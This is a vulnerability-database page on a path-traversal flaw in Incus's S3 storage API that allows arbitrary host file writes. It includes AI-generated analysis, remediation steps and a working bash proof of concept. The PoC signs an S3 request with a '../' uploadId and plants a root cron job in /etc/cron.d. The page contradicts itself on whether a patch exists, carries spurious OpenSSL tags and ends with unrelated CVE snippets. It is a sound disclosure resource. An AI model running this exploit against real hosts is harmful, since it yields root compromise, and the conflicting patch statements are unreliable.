EUVD-2026-63980
GHSA-ccjc-4qc3-jxqc
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain valid S3 bucket credentials
-
DeliveryCraft SigV4-signed multipart PUT with traversal uploadId
-
ExploitBypass uploads-directory containment via '../'
-
ExecutionWrite part body to /etc/cron.d on host
-
PersistRoot cron executes payload
-
ImpactHost compromise / RCE
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
|
| Exploitation Conditions | Requires three concrete preconditions taken from the description and PoC: (1) the Incus S3 API must be explicitly enabled via core.storage_buckets_address (off by default), (2) at least one storage bucket must exist, and (3) the attacker must hold valid bucket access-key/secret-key credentials to produce a SigV4-signed request (PR:L - authenticated). Given those, exploitation is low-complexity and remote: the attacker sets the multipart uploadId to a '../' path-traversal sequence (e.g. '../../../../etc/cron.d') on a signed PUT to write an arbitrary host file. Limiting factors: the S3 buckets endpoint is not exposed in a default install, valid credentials are mandatory, and successful root-level impact depends on incusd running with sufficient privilege to write the targeted path (commonly root). |
| Impact | The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, base 9.9) reflects a low-complexity, network-reachable attack that nonetheless requires some privilege (PR:L) - specifically valid S3 bucket credentials - and produces a scope change (writing host files outside the storage sandbox). The scope change plus high CIA impact is appropriate because arbitrary file write as the daemon user readily becomes root-level RCE. Working exploit code is published, which raises practical risk, but there is no CISA KEV entry and no EPSS score in the provided data, so there is no evidence of mass or active exploitation - treat it as targeted/credentialed risk rather than internet-wide worming. The key limiting factor under-weighted by the 9.9 score is that the S3 API must be deliberately enabled (core.storage_buckets_address) and the attacker must already possess issued bucket access/secret keys; this is not a fully unauthenticated default-config flaw. Note also the input Tags ('OpenSSL', 'Canonical') appear spurious/mislabeled - Incus is not OpenSSL and is a community (Zabbly/LXC) project, not a Canonical product; do not rely on those tags. |
| Exploit ScenarioDerived | An attacker who has been issued (or has stolen) S3 access/secret keys for any Incus bucket sends a signed PUT multipart-upload request whose uploadId is a long '../../../etc/cron.d' traversal string, causing the uploaded part body to be written as /etc/cron.d/part-00001. The cron file runs an attacker command as root on the next schedule tick, yielding host compromise. A full working bash PoC that performs the AWS SigV4 signing and triggers the write is published in the advisory, making the attack low-complexity to reproduce. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 26, 2026
Arbitrary host file write in Incus before 7.1.0 lets a holder of S3 bucket credentials escape the storage volume via a path-traversal-laden multipart upload ID and plant files anywhere the daemon (typically root) can write, escalating to remote code execution. The flaw lives in the local S3 storage backend's multipart upload handling, where the attacker-supplied uploadId is concatenated onto the uploads directory without sanitization. A complete working PoC exists that drops a /etc/cron.d job for root command execution; no CISA KEV listing or EPSS score is provided, so this is publicly available exploit code rather than confirmed active exploitation.
RemediationAI
Upgrade to Incus 7.1.0 or later, which contains the fix - Vendor-released patch: 7.1.0 (see advisory GHSA-ccjc-4qc3-jxqc at https://github.com/lxc/incus/security/advisories/GHSA-ccjc-4qc3-jxqc). If you cannot patch immediately, disable the S3 storage-buckets API by unsetting core.storage_buckets_address (incus config unset core.storage_buckets_address), which closes the attack surface entirely at the cost of removing S3 bucket access for legitimate clients. If the S3 API must stay enabled, restrict network reachability of the buckets address to trusted hosts via firewall rules and rotate/limit issued bucket credentials, and run incusd with the least privilege practical so an arbitrary write cannot reach root-owned paths like /etc/cron.d - though note that incusd typically runs as root, so privilege reduction is limited and not a substitute for upgrading.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 5 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Incus is a system container and virtual-machine manager (a community fork of LXD, in the LXC project) written in Go. It can optionally expose an S3-compatible object-storage API for storage buckets. The vulnerable code is the local S3 driver's multipart upload path, internal/server/storage/s3/local/multipart.go, where the client-controlled uploadId query parameter is appended directly to the server's uploads directory to form a filesystem path. This is a textbook CWE-73 (External Control of File Name or Path): because '../' sequences in the uploadId are not stripped or validated, an attacker can traverse out of the intended uploads directory and have the uploaded part written to an arbitrary absolute path on the host. The affected package is identified by the Go CPE pkg:go/github.com/lxc/incus/v7/cmd/incusd (the incusd daemon).
Know when OpenSSL gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Network-reachable S3 API with low complexity but mandatory bucket credentials (PR:L); host file write escapes the storage sandbox (S:C) and enables root RCE, giving full C/I/A:H.
Primary rating from Vendor (https://github.com/lxc/incus).
CVSS VectorVendor: https://github.com/lxc/incus
DescriptionCVE.org
Summary
The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.
In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33
PoC
Setup
# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentialsExploitation
The below script was mostly generated.
#!/usr/bin/env bash
set -euo pipefail
if [ $
# -lt 4 ]; then
printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
exit 1
fi
endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"
region="us-east-1"
service="s3"
key="anything"
part="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * root /bin/sh -c '$cmd'
"
uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"
amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="$date_scope/$region/$service/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"
canonical="PUT
$uri_path
$qs
host:$host
x-amz-content-sha256:$body_hash
x-amz-date:$amz_date
$signed
$body_hash"
canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
string_to_sign="AWS4-HMAC-SHA256
$amz_date
$scope
$canonical_hash"
hmac_hex() {
printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
}
k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"
printf '
# body:\n%s' "${body}"
curl -ksS -X PUT "${url}" \
-H "Host: ${host}" \
-H "X-Amz-Date: ${amz_date}" \
-H "X-Amz-Content-Sha256: ${body_hash}" \
-H "Authorization: ${auth}" \
--data-binary "${body}"Impact
Arbitrary file write on the host. Possibly leading to arbitrary command execution.
Articles & Coverage 1
Executive ViewAI
Incus deployments using S3 storage are vulnerable to complete system compromise through remote code execution at the root level (CVE-2026-48753). Publicly available exploit code exists for this vulnerability, and no vendor patch has been released, creating immediate risk of data breach or service disruption. Organizations must urgently identify and isolate vulnerable instances to prevent compromise.
No vendor-released patch identified at time of analysis. Interim mitigations: Disable S3 storage backend and migrate to alternative storage; implement network isolation of Incus systems; rotate S3 credentials regularly; monitor S3 bucket access logs; implement file integrity monitoring on system directories; restrict Incus daemon process permissions.
Threat Intelligence Overview
NVD
CVE.org
EPSS
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe
In order to decrypt SM2 encrypted data an application is expected to call the API function EVP_PKEY_decrypt(). Rated cri
The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se
The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k
In addition to the c_rehash shell command injection identified in CVE-2022-1292, further circumstances where the c_rehas
The TLS protocol 1.2 and earlier, when a DHE_EXPORT ciphersuite is enabled on a server but not on a client, does not pro
The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly
A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig
Exploit-DB